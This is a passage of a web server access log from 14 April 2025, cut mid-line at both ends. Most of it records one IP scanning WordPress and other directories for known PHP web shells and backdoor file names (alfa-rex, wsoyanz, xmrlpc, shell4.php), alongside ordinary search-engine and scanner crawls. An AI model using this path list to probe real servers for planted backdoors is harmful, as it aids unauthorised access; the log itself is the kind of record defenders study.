/cgi-bin/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:45 -0400] "GET /wp-admin/themes.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:45 -0400] "GET /.well-known/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:46 -0400] "GET /.well-known/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:47 -0400] "GET /.well-known/file.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:47 -0400] "GET /.well-known/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:48 -0400] "GET /wp-includes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:49 -0400] "GET /.well-known/acme-challenge/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:50 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:50 -0400] "GET /.well-known/acme-challenge/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:51 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:51 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:52 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:53 -0400] "GET /wp-includes/system_log.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:54 -0400] "GET /wp-includes/wp-activate.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:54 -0400] "GET /wp-includes/makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:55 -0400] "GET /wp-admin/user/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:56 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:57 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:57 -0400] "GET /cgi-bin/themes.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:58 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:58 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:57:59 -0400] "GET /function.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:00 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:00 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:01 -0400] "GET /wp-admin/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:02 -0400] "GET /wp-content/themes/themes.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:03 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:03 -0400] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:04 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:04 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:05 -0400] "GET /cgi-bin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:05 -0400] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:06 -0400] "GET /.well-known/acme-challenge/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:07 -0400] "GET /wp-admin/images/file.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:07 -0400] "GET /wp-content/upgrade/function.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:08 -0400] "GET /wp-admin/user/themes.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:09 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:09 -0400] "GET /wp-admin/css/license.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:10 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:11 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:11 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:12 -0400] "GET /.well-known/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:12 -0400] "GET /wp-includes/wp-load.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:13 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:14 -0400] "GET /.well-known/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:15 -0400] "GET /wp-content/plugins/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:15 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:16 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:17 -0400] "GET /wp-includes/images/css.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:18 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:19 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:20 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:20 -0400] "GET /.well-known/acme-challenge/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:21 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:22 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:23 -0400] "GET /wp-includes/style-engine/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:23 -0400] "GET /wp-includes/rest-api/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:24 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:25 -0400] "GET /wp-content/banners/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:25 -0400] "GET /wp-admin/license.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:26 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:27 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:28 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:28 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:29 -0400] "GET /img/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:30 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:30 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:31 -0400] "GET /wp-includes.bak/html-api/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:32 -0400] "GET /wp-includes/widgets/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:32 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:33 -0400] "GET /wp-admin/js/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:33 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:34 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:34 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:35 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:36 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:37 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:37 -0400] "GET /wp-admin/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:38 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:39 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:39 -0400] "GET /wp-includes/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:40 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:41 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:41 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:42 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:43 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:44 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:44 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:45 -0400] "GET /.well-known/acme-challenge/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:45 -0400] "GET /wp-admin/network/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:46 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:46 -0400] "GET /cgi-bin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:47 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:48 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:48 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:49 -0400] "GET /img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:49 -0400] "GET /wp-admin/css/colors/coffee/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:50 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:51 -0400] "GET /avaa.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:51 -0400] "GET /images/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:52 -0400] "GET /wp-admin/js/widgets/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:53 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:54 -0400] "GET /wp-admin/css/colors/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:54 -0400] "GET /wp-admin/includes/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:55 -0400] "GET /wp-admin/css/colors/blue/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:56 -0400] "GET /wp-admin/cloud.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:57 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:57 -0400] "GET /libraries/legacy/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:58 -0400] "GET /libraries/phpmailer/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:59 -0400] "GET /libraries/vendor/updates.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:58:59 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:00 -0400] "GET /alfanew.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:01 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:01 -0400] "GET /wp-admin/js/widgets/about.php7 HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:02 -0400] "GET /wp-p.php7 HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:03 -0400] "GET /wp-admin/repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:03 -0400] "GET /wp-includes/repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:04 -0400] "GET /wp-content/repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:05 -0400] "GET /wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:05 -0400] "GET /yanz.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:06 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:07 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:07 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:08 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:08 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:10 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:10 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:11 -0400] "GET /admin-post.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:12 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:13 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:14 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:15 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:15 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:16 -0400] "GET /about.php7 HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:17 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:17 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:19 -0400] "GET /ebs.php7 HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:20 -0400] "GET /ws.php7 HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:21 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:22 -0400] "GET /alfa-rex2.php7 HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:23 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:23 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:25 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:25 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:26 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:28 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:29 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:31 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:32 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:33 -0400] "GET /css/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:34 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:35 -0400] "GET /img/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:36 -0400] "GET /wp-admin/css/colors/coffee/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:37 -0400] "GET /wp-admin/images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:38 -0400] "GET /images/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:39 -0400] "GET /wp-admin/js/widgets/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:39 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:40 -0400] "GET /wp-admin/includes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:41 -0400] "GET /wp-admin/css/colors/blue/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:42 -0400] "GET /wp-admin/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:42 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:43 -0400] "GET /wp-admin/network/index.php HTTP/1.1" 301 795 "-" "-" 52.164.203.120 - - [14/Apr/2025:11:59:44 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 18.223.108.59 - - [14/Apr/2025:12:04:30 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 45.156.129.101 - - [14/Apr/2025:12:08:02 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 45.156.129.102 - - [14/Apr/2025:12:08:04 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36" 66.212.18.223 - - [14/Apr/2025:12:35:00 -0400] "GET /wechat_shop-master/Public/admin/lib/webuploader/0.1.5/server/preview.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 66.249.79.101 - - [14/Apr/2025:12:45:47 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.99 - - [14/Apr/2025:12:45:47 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 182.42.111.156 - - [14/Apr/2025:14:05:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 162.0.232.217 - - [14/Apr/2025:14:08:40 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [14/Apr/2025:14:09:15 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [14/Apr/2025:14:11:21 -0400] "GET /.well-known/pki-validation/xmrlpc.php%3fp= HTTP/1.1" 301 795 "-" "get_local:DCV" 18.223.108.59 - - [14/Apr/2025:14:11:44 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 43.135.130.202 - - [14/Apr/2025:14:17:01 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.14.154.215 - - [14/Apr/2025:14:18:55 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:14:18:57 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:14:18:58 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:14:18:59 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:14:18:59 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:14:19:00 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:14:19:00 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:14:19:01 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:14:19:01 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 20.14.154.215 - - [14/Apr/2025:14:19:02 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 2.59.50.220 - - [14/Apr/2025:14:28:07 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" 85.208.98.18 - - [14/Apr/2025:15:24:02 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; SemrushBot; +http://www.semrush.com/bot.html)" 43.153.10.83 - - [14/Apr/2025:15:56:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.41.50.109 - - [14/Apr/2025:16:52:28 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 185.4.176.103 - - [14/Apr/2025:17:28:05 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 185.4.176.103 - - [14/Apr/2025:17:28:06 -0400] "GET /category/digital-marketing HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 185.4.176.103 - - [14/Apr/2025:17:28:08 -0400] "GET /local-seo-services HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 147.185.132.31 - - [14/Apr/2025:17:31:06 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 66.249.79.102 - - [14/Apr/2025:17:49:35 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.102 - - [14/Apr/2025:17:49:35 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 60.188.57.0 - - [14/Apr/2025:18:50:57 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 197.147.217.168 - - [14/Apr/2025:19:18:29 -0400] "GET /shell4.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0" 197.147.217.168 - - [14/Apr/2025:19:18:31 -0400] "GET /ups.php HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) 